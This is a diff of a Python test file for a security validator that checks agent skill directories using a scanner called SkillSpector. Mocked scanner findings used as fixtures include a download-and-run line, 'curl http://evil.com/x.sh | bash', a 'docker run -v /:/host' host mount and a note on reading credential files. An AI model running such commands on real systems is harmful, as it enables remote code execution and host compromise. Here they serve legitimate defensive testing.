sample_skill_dir: Path,
@@ -2542,8 +2556,8 @@ def test_skillspector_accepts_legacy_report_without_completeness(
payload.pop("analysis_completeness")
result = _validate_skillspector_payload(mock_tools, sample_skill_dir, payload)
- assert result.passed
- assert not result.errors
+ assert result.is_incomplete
+ assert any("2.12.0 or newer is required; found 1.0.0" in error for error in result.errors)
@pytest.mark.parametrize("version", ["2.9.6", "2.10.0", "2.11.0"])
@pytest.mark.parametrize("missing_field", ["execution_successful", "analysis_completeness"])
@@ -2971,7 +2985,7 @@ def test_skillspector_risk_reconciliation_allows_private_cross_file_identity(
}
for file_name in ("a.md", "b.md")
]
- payload = json.loads(_SKILLSPECTOR_2_9_6_NO_LLM_REPORT.read_text(encoding="utf-8"))
+ payload = _skillspector_json_report(issues)
payload["issues"] = issues
payload["components"] = [
{"path": file_name, "executable": False} for file_name in ("a.md", "b.md")
@@ -4053,18 +4067,7 @@ def test_validate_pii_only_with_pii(self, skill_with_pii: Path):
def test_validate_security_only_with_llm(self, mock_tools, sample_skill_dir: Path):
"""Test validate_security_only with LLM runs CLI without --no-llm."""
mock_tools.skillspector.is_available = True
- cli_json = {
- "skill": {"name": "test", "source": "/tmp", "scanned_at": "2026-01-01T00:00:00Z"},
- "risk_assessment": {"score": 0, "severity": "LOW", "recommendation": "SAFE"},
- "components": [],
- "issues": [],
- "metadata": {
- "has_executable_scripts": False,
- "skillspector_version": "1.0.0",
- "llm_requested": True,
- "llm_available": True,
- },
- }
+ cli_json = _skillspector_json_report(llm_requested=True, llm_available=True)
mock_tools.skillspector.run.side_effect = [
ToolResult(
success=True,
@@ -4079,6 +4082,7 @@ def test_validate_security_only_with_llm(self, mock_tools, sample_skill_dir: Pat
result = validator.validate_security_only(sample_skill_dir)
assert result is not None
+ assert not result.is_incomplete
call_args = mock_tools.skillspector.run.call_args[0][0]
assert "--no-llm" not in call_args
@@ -4086,23 +4090,8 @@ def test_validate_security_only_with_llm(self, mock_tools, sample_skill_dir: Pat
def test_finding_uses_explanation_and_remediation_from_skillspector(self, mock_tools, sample_skill_dir: Path):
"""Test that findings use skillspector CLI explanation and remediation for suggestion."""
mock_tools.skillspector.is_available = True
- cli_json = {
- "skill": {
- "name": "test-skill",
- "source": "/tmp/test",
- "scanned_at": "2026-01-01T00:00:00Z",
- },
- "risk_assessment": {"score": 50, "severity": "MEDIUM", "recommendation": "CAUTION"},
- "components": [
- {
- "path": "scripts/connections.py",
- "type": "python",
- "lines": 100,
- "executable": True,
- "size_bytes": 3000,
- }
- ],
- "issues": [
+ cli_json = _skillspector_json_report(
+ [
{
"id": "PE3",
"category": "Privilege Escalation",
@@ -4112,22 +4101,17 @@ def test_finding_uses_explanation_and_remediation_from_skillspector(self, mock_t
"finding": ".env",
"explanation": "Code accesses credential files (SSH keys, AWS credentials, etc.).",
"remediation": "Remove references to credential paths. Use environment variables.",
- "location": {
- "file": "scripts/connections.py",
- "start_line": 80,
- "end_line": None,
- },
+ "location": {"file": "scripts/connections.py", "start_line": 80, "end_line": None},
"code_snippet": "self.command = command",
"intent": None,
}
- ],
- "metadata": {
- "has_executable_scripts": True,
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
- }
+ ]
+ )
+ cli_json["risk_assessment"] = {"score": 50, "severity": "MEDIUM", "recommendation": "CAUTION"}
+ cli_json["components"] = [
+ {"path": "scripts/connections.py", "type": "python", "lines": 100, "executable": True, "size_bytes": 3000}
+ ]
+ cli_json["metadata"]["has_executable_scripts"] = True
mock_tools.skillspector.run.return_value = ToolResult(
success=True,
stdout=json.dumps(cli_json),
@@ -4138,6 +4122,7 @@ def test_finding_uses_explanation_and_remediation_from_skillspector(self, mock_t
validator = SecurityValidator(use_llm=False)
result = validator.validate_security_only(sample_skill_dir)
+ assert not result.is_incomplete
assert len(result.findings) >= 1
finding = next(f for f in result.findings if f.check_name == "Credential Access (PE3)")
assert "credential" in (finding.suggestion or "").lower()
@@ -4223,23 +4208,8 @@ def test_skillspector_sc8_score_floor_survives_generated_artifact_filter(
def test_skillspector_findings_for_generated_artifacts_are_ignored(self, mock_tools, sample_skill_dir: Path):
"""Generated publishing artifacts should not fail Tier 1 security scanning."""
mock_tools.skillspector.is_available = True
- cli_json = {
- "skill": {
- "name": "sample-skill",
- "source": "/tmp/sample",
- "scanned_at": "2026-01-01T00:00:00Z",
- },
- "risk_assessment": {"score": 22, "severity": "MEDIUM", "recommendation": "CAUTION"},
- "components": [
- {
- "path": "skill-card.md",
- "type": "markdown",
- "lines": 20,
- "executable": False,
- "size_bytes": 500,
- }
- ],
- "issues": [
+ cli_json = _skillspector_json_report(
+ [
{
"id": "SQP-2",
"category": "Skill Quality",
@@ -4253,14 +4223,12 @@ def test_skillspector_findings_for_generated_artifacts_are_ignored(self, mock_to
"code_snippet": "Outputs: Files",
"intent": None,
}
- ],
- "metadata": {
- "has_executable_scripts": False,
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
- }
+ ]
+ )
+ cli_json["risk_assessment"] = {"score": 22, "severity": "MEDIUM", "recommendation": "CAUTION"}
+ cli_json["components"] = [
+ {"path": "skill-card.md", "type": "markdown", "lines": 20, "executable": False, "size_bytes": 500}
+ ]
mock_tools.skillspector.run.return_value = ToolResult(
success=True,
stdout=json.dumps(cli_json),
@@ -4271,6 +4239,7 @@ def test_skillspector_findings_for_generated_artifacts_are_ignored(self, mock_to
validator = SecurityValidator(use_llm=False)
result = validator.validate_security_only(sample_skill_dir)
+ assert not result.is_incomplete
assert result.passed
assert result.findings == []
@@ -4278,21 +4247,10 @@ def test_skillspector_findings_for_generated_artifacts_are_ignored(self, mock_to
def test_validate_security_only_without_llm(self, mock_tools, sample_skill_dir: Path):
"""Test validate_security_only without LLM runs CLI with --no-llm."""
mock_tools.skillspector.is_available = True
+ cli_json = _skillspector_json_report()
mock_tools.skillspector.run.return_value = ToolResult(
success=True,
- stdout=json.dumps(
- {
- "skill": {
- "name": "test",
- "source": "/tmp",
- "scanned_at": "2026-01-01T00:00:00Z",
- },
- "risk_assessment": {"score": 0, "severity": "LOW", "recommendation": "SAFE"},
- "components": [],
- "issues": [],
- "metadata": {"has_executable_scripts": False, "skillspector_version": "1.0.0"},
- }
- ),
+ stdout=json.dumps(cli_json),
stderr="",
exit_code=0,
)
@@ -4301,6 +4259,7 @@ def test_validate_security_only_without_llm(self, mock_tools, sample_skill_dir:
result = validator.validate_security_only(sample_skill_dir)
assert result is not None
+ assert not result.is_incomplete
call_args = mock_tools.skillspector.run.call_args[0][0]
assert "--no-llm" in call_args
@@ -4853,50 +4812,35 @@ def test_luhn_invalid_numbers(self):
assert not SecurityValidator._passes_luhn("4532123456789010")
assert not SecurityValidator._passes_luhn("1111111111111112")
- # --- Skillspector 1.0 field handling tests ---
+ # --- SkillSpector field handling tests ---
@patch("skillevaluator.validators.security.Tools")
- def test_skillspector_10_confidence_captured(self, mock_tools, sample_skill_dir: Path):
- """Skillspector 1.0 confidence float is captured in finding metadata."""
+ def test_skillspector_confidence_captured(self, mock_tools, sample_skill_dir: Path):
+ """SkillSpector confidence float is captured in finding metadata."""
mock_tools.skillspector.is_available = True
- mock_tools.skillspector.run.return_value = ToolResult(
- success=True,
- stdout=json.dumps(
+ cli_json = _skillspector_json_report(
+ [
{
- "skill": {
- "name": "test",
- "source": "/tmp",
- "scanned_at": "2026-01-01T00:00:00Z",
- },
- "risk_assessment": {
- "score": 40,
- "severity": "MEDIUM",
- "recommendation": "CAUTION",
- },
- "components": [],
- "issues": [
- {
- "id": "TM1",
- "category": "Tool Misuse",
- "pattern": "Tool Parameter Abuse",
- "severity": "HIGH",
- "confidence": 0.95,
- "finding": "docker run --rm",
- "explanation": "Dangerous docker usage.",
- "remediation": "Use safe defaults.",
- "location": {"file": "run.sh", "start_line": 5, "end_line": None},
- "code_snippet": "docker run --rm -v /:/host",
- "intent": "container_execution",
- }
- ],
- "metadata": {
- "has_executable_scripts": True,
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
+ "id": "TM1",
+ "category": "Tool Misuse",
+ "pattern": "Tool Parameter Abuse",
+ "severity": "HIGH",
+ "confidence": 0.95,
+ "finding": "docker run --rm",
+ "explanation": "Dangerous docker usage.",
+ "remediation": "Use safe defaults.",
+ "location": {"file": "run.sh", "start_line": 5, "end_line": None},
+ "code_snippet": "docker run --rm -v /:/host",
+ "intent": "container_execution",
}
- ),
+ ]
+ )
+ cli_json["risk_assessment"] = {"score": 40, "severity": "MEDIUM", "recommendation": "CAUTION"}
+ cli_json["metadata"]["has_executable_scripts"] = True
+ cli_json["components"][0]["executable"] = True
+ mock_tools.skillspector.run.return_value = ToolResult(
+ success=True,
+ stdout=json.dumps(cli_json),
stderr="",
exit_code=0,
)
@@ -4904,49 +4848,40 @@ def test_skillspector_10_confidence_captured(self, mock_tools, sample_skill_dir:
validator = SecurityValidator(use_llm=False)
result = validator.validate_security_only(sample_skill_dir)
+ assert not result.is_incomplete
assert len(result.findings) >= 1
finding = result.findings[0]
assert finding.metadata.get("skillspector_confidence") == 0.95
assert finding.metadata.get("intent") == "container_execution"
- assert result.metadata.get("skillspector_version") == "1.0.0"
- assert result.metadata.get("skillspector_components_count") == 0
+ assert result.metadata.get("skillspector_version") == "2.12.0"
+ assert result.metadata.get("skillspector_components_count") == 1
assert result.metadata.get("skillspector_has_executable_scripts") is True
@patch("skillevaluator.validators.security.Tools")
- def test_skillspector_10_null_finding_uses_explanation_fallback(self, mock_tools, sample_skill_dir: Path):
+ def test_skillspector_null_finding_uses_explanation_fallback(self, mock_tools, sample_skill_dir: Path):
"""When skillspector returns null for finding field, message falls back to explanation."""
mock_tools.skillspector.is_available = True
- mock_tools.skillspector.run.return_value = ToolResult(
- success=True,
- stdout=json.dumps(
+ cli_json = _skillspector_json_report(
+ [
{
- "risk_assessment": {
- "score": 30,
- "severity": "MEDIUM",
- "recommendation": "CAUTION",
- },
- "issues": [
- {
- "id": "SQP1",
- "category": "Quality Policy",
- "pattern": None,
- "severity": "MEDIUM",
- "confidence": 0.7,
- "finding": None,
- "explanation": "Trigger description is too broad and may cause false activations.",
- "remediation": "Narrow the trigger to specific terms.",
- "location": {"file": "SKILL.md", "start_line": 3, "end_line": None},
- "code_snippet": None,
- "intent": None,
- }
- ],
- "metadata": {
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
+ "id": "SQP1",
+ "category": "Quality Policy",
+ "pattern": None,
+ "severity": "MEDIUM",
+ "confidence": 0.7,
+ "finding": None,
+ "explanation": "Trigger description is too broad and may cause false activations.",
+ "remediation": "Narrow the trigger to specific terms.",
+ "location": {"file": "SKILL.md", "start_line": 3, "end_line": None},
+ "code_snippet": None,
+ "intent": None,
}
- ),
+ ]
+ )
+ cli_json["risk_assessment"] = {"score": 30, "severity": "MEDIUM", "recommendation": "CAUTION"}
+ mock_tools.skillspector.run.return_value = ToolResult(
+ success=True,
+ stdout=json.dumps(cli_json),
stderr="",
exit_code=0,
)
@@ -4954,6 +4889,7 @@ def test_skillspector_10_null_finding_uses_explanation_fallback(self, mock_tools
validator = SecurityValidator(use_llm=False)
result = validator.validate_security_only(sample_skill_dir)
+ assert not result.is_incomplete
assert len(result.findings) >= 1
finding = result.findings[0]
assert "None" not in finding.message
@@ -4964,33 +4900,27 @@ def test_skillspector_10_null_finding_uses_explanation_fallback(self, mock_tools
def test_skillspector_issue_without_required_fields_fails_closed(self, mock_tools, sample_skill_dir: Path):
"""An issue without a severity or usable content is not trustworthy evidence."""
mock_tools.skillspector.is_available = True
- mock_tools.skillspector.run.return_value = ToolResult(
- success=True,
- stdout=json.dumps(
+ cli_json = _skillspector_json_report(
+ [
{
- "risk_assessment": {
- "score": 20,
- "severity": "LOW",
- "recommendation": "SAFE",
- },
- "issues": [
- {
- "id": "X1",
- "category": None,
- "pattern": None,
- "severity": None,
- "confidence": None,
- "finding": None,
- "explanation": None,
- "remediation": None,
- "location": None,
- "code_snippet": None,
- "intent": None,
- }
- ],
- "metadata": {"llm_requested": False, "llm_available": False},
+ "id": "X1",
+ "category": None,
+ "pattern": None,
+ "severity": None,
+ "confidence": None,
+ "finding": None,
+ "explanation": None,
+ "remediation": None,
+ "location": None,
+ "code_snippet": None,
+ "intent": None,
}
- ),
+ ]
+ )
+ cli_json["risk_assessment"] = {"score": 20, "severity": "LOW", "recommendation": "SAFE"}
+ mock_tools.skillspector.run.return_value = ToolResult(
+ success=True,
+ stdout=json.dumps(cli_json),
stderr="",
exit_code=0,
)
@@ -5003,44 +4933,23 @@ def test_skillspector_issue_without_required_fields_fails_closed(self, mock_tool
assert any("severity" in error.lower() for error in result.errors)
@patch("skillevaluator.validators.security.Tools")
- def test_skillspector_10_metadata_captured(self, mock_tools, sample_skill_dir: Path):
- """Top-level skill, components, and metadata from skillspector 1.0 are captured."""
+ def test_skillspector_metadata_captured(self, mock_tools, sample_skill_dir: Path):
+ """Top-level skill, components, and metadata from SkillSpector are captured."""
mock_tools.skillspector.is_available = True
+ cli_json = _skillspector_json_report()
+ cli_json["skill"] = {"name": "my-skill", "source": "/path/to/skill", "scanned_at": "2026-03-20T00:00:00Z"}
+ cli_json["components"] = [
+ {"path": "SKILL.md", "type": "markdown", "lines": 50, "executable": False, "size_bytes": 1500},
+ {"path": "run.sh", "type": "shell", "lines": 10, "executable": True, "size_bytes": 300},
+ ]
+ cli_json["analysis_completeness"].update(
+ {"total_components": 2, "scanned_components": 2, "fully_inspected_files": 2}
+ )
+ _set_universal_analyzer_work(cli_json)
+ cli_json["metadata"]["has_executable_scripts"] = True
mock_tools.skillspector.run.return_value = ToolResult(
success=True,
- stdout=json.dumps(
- {
- "skill": {
- "name": "my-skill",
- "source": "/path/to/skill",
- "scanned_at": "2026-03-20T00:00:00Z",
- },
- "risk_assessment": {"score": 0, "severity": "LOW", "recommendation": "SAFE"},
- "components": [
- {
- "path": "SKILL.md",
- "type": "markdown",
- "lines": 50,
- "executable": False,
- "size_bytes": 1500,
- },
- {
- "path": "run.sh",
- "type": "shell",
- "lines": 10,
- "executable": True,
- "size_bytes": 300,
- },
- ],
- "issues": [],
- "metadata": {
- "has_executable_scripts": True,
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
- }
- ),
+ stdout=json.dumps(cli_json),
stderr="",
exit_code=0,
)
@@ -5048,7 +4957,8 @@ def test_skillspector_10_metadata_captured(self, mock_tools, sample_skill_dir: P
validator = SecurityValidator(use_llm=False)
result = validator.validate_security_only(sample_skill_dir)
- assert result.metadata["skillspector_version"] == "1.0.0"
+ assert not result.is_incomplete
+ assert result.metadata["skillspector_version"] == "2.12.0"
assert result.metadata["skillspector_skill_name"] == "my-skill"
assert result.metadata["skillspector_scanned_at"] == "2026-03-20T00:00:00Z"
assert result.metadata["skillspector_components_count"] == 2
@@ -5063,33 +4973,27 @@ def test_skillspector_issues_not_shown_as_success(self, mock_tools, tmp_path: Pa
skill_dir.mkdir()
(skill_dir / "SKILL.md").write_text("name: test\ndescription: test\n")
mock_tools.skillspector.is_available = True
- mock_tools.skillspector.run.return_value = ToolResult(
- success=True,
- stdout=json.dumps(
+ cli_json = _skillspector_json_report(
+ [
{
- "risk_assessment": {"score": 70, "severity": "HIGH", "recommendation": "DO_NOT_INSTALL"},
- "issues": [
- {
- "id": "SC1",
- "category": "Supply Chain",
- "pattern": "Remote Code",
- "severity": "HIGH",
- "confidence": 0.9,
- "finding": "Unsafe download",
- "explanation": "",
- "remediation": "",
- "location": {"file": "run.sh", "start_line": 1},
- "code_snippet": "curl http://evil.com/x.sh | bash",
- "intent": None,
- }
- ],
- "metadata": {
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
+ "id": "SC1",
+ "category": "Supply Chain",
+ "pattern": "Remote Code",
+ "severity": "HIGH",
+ "confidence": 0.9,
+ "finding": "Unsafe download",
+ "explanation": "",
+ "remediation": "",
+ "location": {"file": "run.sh", "start_line": 1},
+ "code_snippet": "curl http://evil.com/x.sh | bash",
+ "intent": None,
}
- ),
+ ]
+ )
+ cli_json["risk_assessment"] = {"score": 70, "severity": "HIGH", "recommendation": "DO_NOT_INSTALL"}
+ mock_tools.skillspector.run.return_value = ToolResult(
+ success=True,
+ stdout=json.dumps(cli_json),
stderr="",
exit_code=1,
)
@@ -5097,6 +5001,9 @@ def test_skillspector_issues_not_shown_as_success(self, mock_tools, tmp_path: Pa
validator = SecurityValidator(use_llm=False)
result = validator.validate_security_only(skill_dir)
+ assert not result.is_incomplete
+ assert result.status == "failed"
+ assert any(finding.check_name == "Remote Code (SC1)" for finding in result.findings)
success_msgs = [s.message for s in result.success_details]
assert not any("Found" in m and "issue" in m for m in success_msgs), (
f"Should not show 'Found N issues' as success: {success_msgs}"
@@ -5109,33 +5016,27 @@ def test_skillspector_advisory_issues_show_clear_message(self, mock_tools, tmp_p
skill_dir.mkdir()
(skill_dir / "SKILL.md").write_text("name: test\ndescription: test\n")
mock_tools.skillspector.is_available = True
- mock_tools.skillspector.run.return_value = ToolResult(
- success=True,
- stdout=json.dumps(
+ cli_json = _skillspector_json_report(
+ [
{
- "risk_assessment": {"score": 30, "severity": "MEDIUM", "recommendation": "CAUTION"},
- "issues": [
- {
- "id": "SC1",
- "category": "Supply Chain",
- "pattern": "Remote Fetch",
- "severity": "MEDIUM",
- "confidence": 0.6,
- "finding": "Downloads remote script",
- "explanation": "",
- "remediation": "",
- "location": {"file": "setup.sh", "start_line": 5},
- "code_snippet": "curl https://astral.sh/uv/install.sh | sh",
- "intent": None,
- }
- ],
- "metadata": {
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
+ "id": "SC1",
+ "category": "Supply Chain",
+ "pattern": "Remote Fetch",
+ "severity": "MEDIUM",
+ "confidence": 0.6,
+ "finding": "Downloads remote script",
+ "explanation": "",
+ "remediation": "",
+ "location": {"file": "setup.sh", "start_line": 5},
+ "code_snippet": "curl https://astral.sh/uv/install.sh | sh",
+ "intent": None,
}
- ),
+ ]
+ )
+ cli_json["risk_assessment"] = {"score": 30, "severity": "MEDIUM", "recommendation": "CAUTION"}
+ mock_tools.skillspector.run.return_value = ToolResult(
+ success=True,
+ stdout=json.dumps(cli_json),
stderr="",
exit_code=0,
)
@@ -5143,6 +5044,7 @@ def test_skillspector_advisory_issues_show_clear_message(self, mock_tools, tmp_p
validator = SecurityValidator(use_llm=False)
result = validator.validate_security_only(skill_dir)
+ assert not result.is_incomplete
success_msgs = [s.message for s in result.success_details]
assert any("advisory" in m.lower() or "no critical" in m.lower() for m in success_msgs), (
f"Should show advisory message: {success_msgs}"